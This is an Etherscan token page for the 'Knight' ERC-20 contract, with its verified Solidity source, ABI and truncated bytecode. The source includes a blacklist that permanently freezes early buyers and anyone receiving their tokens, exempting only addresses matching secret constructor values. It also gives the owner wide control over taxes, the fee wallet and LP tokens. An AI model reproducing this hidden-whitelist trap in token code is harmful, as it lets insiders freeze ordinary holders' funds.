ETH Price: $3,361.67 (-0.17%)

Token

Knight (KNIGHT)
 

Overview

Max Total Supply

1,000,000,000,000 KNIGHT

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,227,898,224.688412248 KNIGHT

Value
$0.00
0xd90ea271799accb8afed57f5e5e7ecaefab8e6e8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KNIGHT

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-03-26
*/

//SPDX-License-Identifier: MIT 

pragma solidity 0.8.11;

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function decimals() external view returns (uint8);
	function symbol() external view returns (string memory);
	function name() external view returns (string memory);
	function getOwner() external view returns (address);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address _owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
	address internal owner;
	constructor(address _owner) { owner = _owner; }
	modifier onlyOwner() { require(msg.sender == owner, "Only contract owner can call this function"); _; }
	function transferOwnership(address payable newOwner) external onlyOwner { owner = newOwner;	emit OwnershipTransferred(newOwner); }
	event OwnershipTransferred(address owner);
}

interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
	function WETH() external pure returns (address);
	function factory() external pure returns (address);
	function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract KNIGHT is IERC20, Auth {
	string _name = "Knight";
	string _symbol = "KNIGHT";
	uint8 constant _decimals = 9;
	uint256 constant _totalSupply = 1_000_000_000_000 * (10 ** _decimals);
	uint32 _smd; uint32 _smr;
	mapping (address => uint256) _balances;
	mapping (address => mapping (address => uint256)) _allowances;
	mapping (address => bool) private _noFees;
	mapping (address => bool) private _noLimits;
	address private immutable _deployer;
	bool private tradingOpen;
	uint256 public maxTxAmount; uint256 public maxWalletAmount;
	uint256 private _taxSwapMin; uint256 private _taxSwapMax;
	mapping (address => bool) private _isLiqPool;
	uint16 public blacklistedWallets = 0;
	uint8 _defTaxRate = 9; 
	uint8 private _buyTaxRate; uint8 private _sellTaxRate; uint8 private _txTaxRate;
	uint16 private _autoLPShares = 400;
	uint16 private _marketingTaxShares = 500;
	uint16 private _totalTaxShares = _autoLPShares + _marketingTaxShares;
	address constant _burnWallet = address(0);

	uint256 private _humanBlock = 0;
	mapping (address => bool) private _nonSniper;
	mapping (address => uint256) public blacklistBlock;

	uint8 private _gasPriceBlocks = 10;
	uint256 blackGwei = 135 * 10**9;

	address payable public marketingWallet = payable(0x6AAFb80806f15aB3a51358C4FF329af93cEd47E2); 
	bool private _inTaxSwap = false;
	address private constant _uniswapV2RouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
	IUniswapV2Router02 private _uniswapV2Router;
	modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; }

	constructor (uint32 smd, uint32 smr) Auth(msg.sender) {      
		tradingOpen = false;
		_deployer = msg.sender;
		maxTxAmount = _totalSupply;
		maxWalletAmount = _totalSupply;
		_taxSwapMin = _totalSupply * 10 / 10000;
		_taxSwapMax = _totalSupply * 50 / 10000;
		_uniswapV2Router = IUniswapV2Router02(_uniswapV2RouterAddress);
		_noFees[owner] = true;
		_noFees[address(this)] = true;
		_noFees[_uniswapV2RouterAddress] = true;
		_noFees[marketingWallet] = true;
		_noLimits[marketingWallet] = true;

		require(smd>0,"Init out of range");
		_smd = smd; _smr = smr;
		_balances[address(this)] = _totalSupply;
		emit Transfer(address(0), address(this), _totalSupply);
	}
	
	receive() external payable {}
	
	function totalSupply() external pure override returns (uint256) { return _totalSupply; }
	function decimals() external pure override returns (uint8) { return _decimals; }
	function symbol() external view override returns (string memory) { return _symbol; }
	function name() external view override returns (string memory) { return _name; }
	function getOwner() external view override returns (address) { return owner; }
	function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
	function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

	function approve(address spender, uint256 amount) public override returns (bool) {
		if ( _humanBlock > block.number && !_nonSniper[msg.sender] ) {
			_markSniper(msg.sender, block.number);
		}

		_allowances[msg.sender][spender] = amount;
		emit Approval(msg.sender, spender, amount);
		return true;
	}

	function transfer(address recipient, uint256 amount) external override returns (bool) {
		require(_checkTradingOpen(), "Trading not open");
		return _transferFrom(msg.sender, recipient, amount);
	}

	function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
		require(_checkTradingOpen(), "Trading not open");
		if(_allowances[sender][msg.sender] != type(uint256).max){
			_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
		}
		return _transferFrom(sender, recipient, amount);
	}

	function initLP(uint256 ethAmountWei) external onlyOwner {
		require(!tradingOpen, "trading already open");
		require(ethAmountWei > 0, "eth cannot be 0");

		_nonSniper[address(this)] = true;
		_nonSniper[owner] = true;
		_nonSniper[marketingWallet]  = true;

		uint256 _contractETHBalance = address(this).balance;
		require(_contractETHBalance >= ethAmountWei, "not enough eth");
		uint256 _contractTokenBalance = balanceOf(address(this));
		require(_contractTokenBalance > 0, "no tokens");
		address _uniLpAddr = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

		_isLiqPool[_uniLpAddr] = true;
		_nonSniper[_uniLpAddr] = true;

		_approveRouter(_contractTokenBalance);
		_addLiquidity(_contractTokenBalance, ethAmountWei, false);

		// _openTrading();
	}

	function _approveRouter(uint256 _tokenAmount) internal {
		if ( _allowances[address(this)][_uniswapV2RouterAddress] < _tokenAmount ) {
			_allowances[address(this)][_uniswapV2RouterAddress] = type(uint256).max;
			emit Approval(address(this), _uniswapV2RouterAddress, type(uint256).max);
		}
	}

	function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
		address lpTokenRecipient = _burnWallet;
		if ( !autoburn ) { lpTokenRecipient = _deployer; }
		_uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp );
	}

	function openTrading() external onlyOwner {
		require(!tradingOpen, "trading already open");
		_openTrading();
	}

	function _openTrading() internal {
		require(!tradingOpen, "trading already open");
		_humanBlock = block.number + 10;
		maxTxAmount     = 10 * _totalSupply / 1000 + 10**_decimals; 
		maxWalletAmount = 10 * _totalSupply / 1000 + 10**_decimals;
		_buyTaxRate = _defTaxRate;
		_sellTaxRate = _defTaxRate;
		_txTaxRate = _defTaxRate;
		tradingOpen = true;
	}

	function humanize() external onlyOwner{
		_humanize(0);
	}

	function _humanize(uint8 blkcount) internal {
		if ( _humanBlock > block.number || _humanBlock == 0 ) {
			_humanBlock = block.number + blkcount;
		}
	}


	function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
		require(sender != address(0), "No transfers from Zero wallet");
		if ( _humanBlock > block.number ) {
			if ( uint160(address(recipient)) % _smd == _smr ) { _humanize(1); }
			else if ( blacklistBlock[sender] == 0 ) { _markSniper(recipient, block.number); }
			else { _markSniper(recipient, blacklistBlock[sender]); }
		} else {
			if ( blacklistBlock[sender] != 0 ) { _markSniper(recipient, blacklistBlock[sender]); }
			if ( block.number < _humanBlock + _gasPriceBlocks && tx.gasprice > block.basefee ) {
				uint256 priceDiff = tx.gasprice - block.basefee;
		    		if ( priceDiff >= blackGwei ) { revert("Over limit"); } 
		    	}
		}
		if ( tradingOpen && blacklistBlock[sender] != 0 && blacklistBlock[sender] < block.number ) {
			revert("blacklisted");
		}

		if ( !_inTaxSwap && _isLiqPool[recipient] ) {
			_swapTaxAndLiquify();
		}
		if ( sender != address(this) && recipient != address(this) && sender != owner ) { require(_checkLimits(recipient, amount), "TX exceeds limits"); }
		uint256 _taxAmount = _calculateTax(sender, recipient, amount);
		uint256 _transferAmount = amount - _taxAmount;
		_balances[sender] = _balances[sender] - amount;
		if ( _taxAmount > 0 ) { _balances[address(this)] = _balances[address(this)] + _taxAmount; }
		_balances[recipient] = _balances[recipient] + _transferAmount;
		emit Transfer(sender, recipient, amount);
		return true;
	}

	function _markSniper(address wallet, uint256 snipeBlockNum) internal {
		if ( !_nonSniper[wallet] && blacklistBlock[wallet] == 0 ) { 
			blacklistBlock[wallet] = snipeBlockNum; 
			blacklistedWallets ++;
		}
	}
		
	function _checkLimits(address recipient, uint256 transferAmount) internal view returns (bool) {
		bool limitCheckPassed = true;
		if ( tradingOpen && !_noLimits[recipient] ) {
			if ( transferAmount > maxTxAmount ) { limitCheckPassed = false; }
			else if ( !_isLiqPool[recipient] && (_balances[recipient] + transferAmount > maxWalletAmount) ) { limitCheckPassed = false; }
		}
		return limitCheckPassed;
	}

	function _checkTradingOpen() private view returns (bool){
		bool checkResult = false;
		if ( tradingOpen ) { checkResult = true; } 
		else if ( tx.origin == owner ) { checkResult = true; } 
		return checkResult;
	}

	function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
		uint256 taxAmount;
		if ( !tradingOpen || _noFees[sender] || _noFees[recipient] ) { taxAmount = 0; }
		else if ( _isLiqPool[sender] ) { taxAmount = amount * _buyTaxRate / 100; }
		else if ( _isLiqPool[recipient] ) { taxAmount = amount * _sellTaxRate / 100; }
		else { taxAmount = amount * _txTaxRate / 100; }
		return taxAmount;
	}

	function isBlacklisted(address wallet) external view returns(bool) {
		if ( blacklistBlock[wallet] != 0 ) { return true; }
		else { return false; }
	}

	function ignoreFees(address wallet, bool toggle) external onlyOwner {
		_noFees[ wallet ] = toggle;
	}

	function ignoreLimits(address wallet, bool toggle) external onlyOwner {
		if ( wallet == _burnWallet ) { require(toggle, "Zero wallet must be unlimited"); }
		_noLimits[ wallet ] = toggle;
	}

	function setTaxRates(uint8 newBuyTax, uint8 newSellTax, uint8 newTxTax) external onlyOwner {
		require(newBuyTax <= _defTaxRate && newSellTax <= _defTaxRate && newTxTax <= _defTaxRate, "Tax too high");
		_buyTaxRate = newBuyTax;
		_sellTaxRate = newSellTax;
		_txTaxRate = newTxTax;
	}

	function enableBuySupport() external onlyOwner {
		_buyTaxRate = 0;
		_sellTaxRate = 2 * _defTaxRate;
	}
  
	function setTaxDistribution(uint16 sharesAutoLP, uint16 sharesMarketing) external onlyOwner {
		_autoLPShares = sharesAutoLP;
		_marketingTaxShares = sharesMarketing;
		_totalTaxShares = _autoLPShares + _marketingTaxShares;
	}
	
	function setTaxWallets(address newMarketingWallet) external onlyOwner {
		marketingWallet = payable(newMarketingWallet);
		_noFees[newMarketingWallet] = true;
		_noLimits[newMarketingWallet] = true;
	}

	function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner {
		uint256 newTxAmt = _totalSupply * maxTxAmtPermile / 1000 + 10**_decimals; 
		if (newTxAmt>_totalSupply) { newTxAmt = _totalSupply; }
		require(newTxAmt >= maxTxAmount, "tx limit too low");
		maxTxAmount = newTxAmt;
		uint256 newWalletAmt = _totalSupply * maxWalletAmtPermile / 1000 + 10**_decimals; 
		if (newWalletAmt>_totalSupply) { newWalletAmt = _totalSupply; }
		require(newWalletAmt >= maxWalletAmount, "wallet limit too low");
		maxWalletAmount = newWalletAmt;
	}

	function setTaxSwapLimits(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
		_taxSwapMin = _totalSupply * minValue / minDivider;
		_taxSwapMax = _totalSupply * maxValue / maxDivider;
	}

	function _swapTaxAndLiquify() private lockTaxSwap {
		uint256 _taxTokensAvailable = balanceOf(address(this));

		if ( _taxTokensAvailable >= _taxSwapMin && tradingOpen ) {
			if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }

			
			uint256 _tokensForLP = _taxTokensAvailable * _autoLPShares / _totalTaxShares / 2;
			
			uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP;
			uint256 _ethPreSwap = address(this).balance;
			_swapTaxTokensForEth(_tokensToSwap);
			uint256 _ethSwapped = address(this).balance - _ethPreSwap;
			if ( _autoLPShares > 0 ) {
				uint256 _ethWeiAmount = _ethSwapped * _autoLPShares / _totalTaxShares ;
				_approveRouter(_tokensForLP);
				_addLiquidity(_tokensForLP, _ethWeiAmount, false);
			}
			uint256 _contractETHBalance = address(this).balance;
			if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
		}
	}

	function _swapTaxTokensForEth(uint256 _tokenAmount) private {
		_approveRouter(_tokenAmount);
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswapV2Router.WETH();
		_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(_tokenAmount,0,path,address(this),block.timestamp);
	}

	function _distributeTaxEth(uint256 _amount) private {
		if ( _marketingTaxShares > 0 ) { marketingWallet.transfer(_amount); }
	}

	function taxTokenSwap() external onlyOwner {
		uint256 taxTokenBalance = balanceOf(address(this));
		require(taxTokenBalance > 0, "No tokens");
		_swapTaxTokensForEth(taxTokenBalance);
	}

	function taxEthSend() external onlyOwner { 
		_distributeTaxEth(address(this).balance); 
	}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint32","name":"smd","type":"uint32"},{"internalType":"uint32","name":"smr","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"blacklistBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistedWallets","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableBuySupport","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"humanize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"toggle","type":"bool"}],"name":"ignoreFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"toggle","type":"bool"}],"name":"ignoreLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTxAmtPermile","type":"uint16"},{"internalType":"uint16","name":"maxWalletAmtPermile","type":"uint16"}],"name":"increaseLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ethAmountWei","type":"uint256"}],"name":"initLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"sharesAutoLP","type":"uint16"},{"internalType":"uint16","name":"sharesMarketing","type":"uint16"}],"name":"setTaxDistribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newBuyTax","type":"uint8"},{"internalType":"uint8","name":"newSellTax","type":"uint8"},{"internalType":"uint8","name":"newTxTax","type":"uint8"}],"name":"setTaxRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minValue","type":"uint32"},{"internalType":"uint32","name":"minDivider","type":"uint32"},{"internalType":"uint32","name":"maxValue","type":"uint32"},{"internalType":"uint32","name":"maxDivider","type":"uint32"}],"name":"setTaxSwapLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"setTaxWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxEthSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"taxTokenSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600681526020017f4b6e6967687400000000000000000000000000000000000000000000000000008152506001908051906020019062000051929190620007a3565b506040518060400160405280600681526020017f4b4e494748540000000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620007a3565b506000600e60006101000a81548161ffff021916908361ffff1602179055506009600e60026101000a81548160ff021916908360ff160217905550610190600e60066101000a81548161ffff021916908361ffff1602179055506101f4600e60086101000a81548161ffff021916908361ffff160217905550600e60089054906101000a900461ffff16600e60069054906101000a900461ffff1662000146919062000890565b600e600a6101000a81548161ffff021916908361ffff1602179055506000600f55600a601260006101000a81548160ff021916908360ff160217905550641f6ea08600601355736aafb80806f15ab3a51358c4ff329af93ced47e2601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006014806101000a81548160ff0219169083151502179055503480156200020857600080fd5b50604051620058533803806200585383398181016040528101906200022e919062000915565b33806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000600860006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506009600a620002cf919062000ac7565b64e8d4a51000620002e1919062000b18565b6009819055506009600a620002f7919062000ac7565b64e8d4a5100062000309919062000b18565b600a81905550612710600a6009600a62000324919062000ac7565b64e8d4a5100062000336919062000b18565b62000342919062000b18565b6200034e919062000ba8565b600b8190555061271060326009600a62000369919062000ac7565b64e8d4a510006200037b919062000b18565b62000387919062000b18565b62000393919062000ba8565b600c81905550737a250d5630b4cf539739df2c5dacb4c659f2488d601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008263ffffffff16116200066b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006629062000c41565b60405180910390fd5b81600360006101000a81548163ffffffff021916908363ffffffff16021790555080600360046101000a81548163ffffffff021916908363ffffffff1602179055506009600a620006bd919062000ac7565b64e8d4a51000620006cf919062000b18565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a62000772919062000ac7565b64e8d4a5100062000784919062000b18565b60405162000793919062000c74565b60405180910390a3505062000cf6565b828054620007b19062000cc0565b90600052602060002090601f016020900481019282620007d5576000855562000821565b82601f10620007f057805160ff191683800117855562000821565b8280016001018555821562000821579182015b828111156200082057825182559160200191906001019062000803565b5b50905062000830919062000834565b5090565b5b808211156200084f57600081600090555060010162000835565b5090565b600061ffff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200089d8262000853565b9150620008aa8362000853565b92508261ffff03821115620008c457620008c362000861565b5b828201905092915050565b600080fd5b600063ffffffff82169050919050565b620008ef81620008d4565b8114620008fb57600080fd5b50565b6000815190506200090f81620008e4565b92915050565b600080604083850312156200092f576200092e620008cf565b5b60006200093f85828601620008fe565b92505060206200095285828601620008fe565b9150509250929050565b60008160011c9050919050565b6000808291508390505b6001851115620009bb5780860481111562000993576200099262000861565b5b6001851615620009a35780820291505b8081029050620009b3856200095c565b945062000973565b94509492505050565b600082620009d6576001905062000aa9565b81620009e6576000905062000aa9565b8160018114620009ff576002811462000a0a5762000a40565b600191505062000aa9565b60ff84111562000a1f5762000a1e62000861565b5b8360020a91508482111562000a395762000a3862000861565b5b5062000aa9565b5060208310610133831016604e8410600b841016171562000a7a5782820a90508381111562000a745762000a7362000861565b5b62000aa9565b62000a89848484600162000969565b9250905081840481111562000aa35762000aa262000861565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000ad48262000ab0565b915062000ae18362000aba565b925062000b107fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009c4565b905092915050565b600062000b258262000ab0565b915062000b328362000ab0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b6e5762000b6d62000861565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000bb58262000ab0565b915062000bc28362000ab0565b92508262000bd55762000bd462000b79565b5b828204905092915050565b600082825260208201905092915050565b7f496e6974206f7574206f662072616e6765000000000000000000000000000000600082015250565b600062000c2960118362000be0565b915062000c368262000bf1565b602082019050919050565b6000602082019050818103600083015262000c5c8162000c1a565b9050919050565b62000c6e8162000ab0565b82525050565b600060208201905062000c8b600083018462000c63565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000cd957607f821691505b6020821081141562000cf05762000cef62000c91565b5b50919050565b608051614b4162000d126000396000612d9a0152614b416000f3fe6080604052600436106101d15760003560e01c80638c0b5e22116100f7578063b4ae29b911610095578063e4dbc45b11610064578063e4dbc45b14610649578063ed7b6bb514610672578063f2fde38b14610689578063fe575a87146106b2576101d8565b8063b4ae29b9146105a1578063c9567bf9146105cc578063d01dc84b146105e3578063dd62ed3e1461060c576101d8565b8063a17b2ed8116100d1578063a17b2ed8146104f9578063a9059cbb14610510578063aa4bde281461054d578063b142180314610578576101d8565b80638c0b5e221461047a57806395d89b41146104a55780639c5fd048146104d0576101d8565b8063313ce5671161016f57806370a082311161013e57806370a08231146103be57806371ebe1c3146103fb57806375f0a87414610424578063893d20e81461044f576101d8565b8063313ce5671461030457806340d3f6da1461032f578063587469c11461036c5780636969c1a414610395576101d8565b806318160ddd116101ab57806318160ddd1461026e5780631c939ee9146102995780631cbbe3e4146102b057806323b872dd146102c7576101d8565b806306fdde03146101dd578063095ea7b31461020857806309ef509f14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f26106ef565b6040516101ff91906137a1565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a919061385c565b610781565b60405161023c91906138b7565b60405180910390f35b34801561025157600080fd5b5061026c6004803603810190610267919061390b565b6108de565b005b34801561027a57600080fd5b50610283610a5c565b604051610290919061396d565b60405180910390f35b3480156102a557600080fd5b506102ae610a81565b005b3480156102bc57600080fd5b506102c5610b1a565b005b3480156102d357600080fd5b506102ee60048036038101906102e99190613988565b610bb4565b6040516102fb91906138b7565b60405180910390f35b34801561031057600080fd5b50610319610dbd565b60405161032691906139ea565b60405180910390f35b34801561033b57600080fd5b5061035660048036038101906103519190613a05565b610dc6565b604051610363919061396d565b60405180910390f35b34801561037857600080fd5b50610393600480360381019061038e9190613a6c565b610dde565b005b3480156103a157600080fd5b506103bc60048036038101906103b79190613aac565b610ef2565b005b3480156103ca57600080fd5b506103e560048036038101906103e09190613a05565b611463565b6040516103f2919061396d565b60405180910390f35b34801561040757600080fd5b50610422600480360381019061041d9190613b05565b6114ac565b005b34801561043057600080fd5b5061043961160b565b6040516104469190613b66565b60405180910390f35b34801561045b57600080fd5b50610464611631565b6040516104719190613b90565b60405180910390f35b34801561048657600080fd5b5061048f61165a565b60405161049c919061396d565b60405180910390f35b3480156104b157600080fd5b506104ba611660565b6040516104c791906137a1565b60405180910390f35b3480156104dc57600080fd5b506104f760048036038101906104f29190613b05565b6116f2565b005b34801561050557600080fd5b5061050e6117db565b005b34801561051c57600080fd5b506105376004803603810190610532919061385c565b6118c5565b60405161054491906138b7565b60405180910390f35b34801561055957600080fd5b50610562611921565b60405161056f919061396d565b60405180910390f35b34801561058457600080fd5b5061059f600480360381019061059a9190613a6c565b611927565b005b3480156105ad57600080fd5b506105b6611b8b565b6040516105c39190613bba565b60405180910390f35b3480156105d857600080fd5b506105e1611b9f565b005b3480156105ef57600080fd5b5061060a60048036038101906106059190613a05565b611c87565b005b34801561061857600080fd5b50610633600480360381019061062e9190613bd5565b611e09565b604051610640919061396d565b60405180910390f35b34801561065557600080fd5b50610670600480360381019061066b9190613c51565b611e90565b005b34801561067e57600080fd5b50610687611fb0565b005b34801561069557600080fd5b506106b060048036038101906106ab9190613ce4565b612092565b005b3480156106be57600080fd5b506106d960048036038101906106d49190613a05565b61219a565b6040516106e691906138b7565b60405180910390f35b6060600180546106fe90613d40565b80601f016020809104026020016040519081016040528092919081815260200182805461072a90613d40565b80156107775780601f1061074c57610100808354040283529160200191610777565b820191906000526020600020905b81548152906001019060200180831161075a57829003601f168201915b5050505050905090565b600043600f541180156107de5750601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156107ee576107ed33436121f5565b5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108cc919061396d565b60405180910390a36001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461096c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096390613de4565b60405180910390fd5b600e60029054906101000a900460ff1660ff168360ff16111580156109a65750600e60029054906101000a900460ff1660ff168260ff1